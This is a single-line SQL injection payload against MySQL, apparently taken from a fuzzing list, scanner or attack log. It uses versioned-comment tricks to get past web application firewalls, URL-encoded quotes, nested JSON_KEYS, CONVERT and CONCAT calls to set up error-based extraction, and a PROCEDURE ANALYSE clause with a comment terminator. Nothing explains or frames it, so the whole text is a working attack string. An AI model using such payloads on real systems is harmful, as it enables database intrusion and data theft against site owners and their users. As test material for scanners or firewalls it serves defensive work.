1,(/*!50000SELECT*/3121/*!50000FROM*/(/*!50000SELECT*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3121=3121,1))),%27~%27))/**/USING/**/utf8))))x) PROCEDURE ANALYSE(10410,1)-- -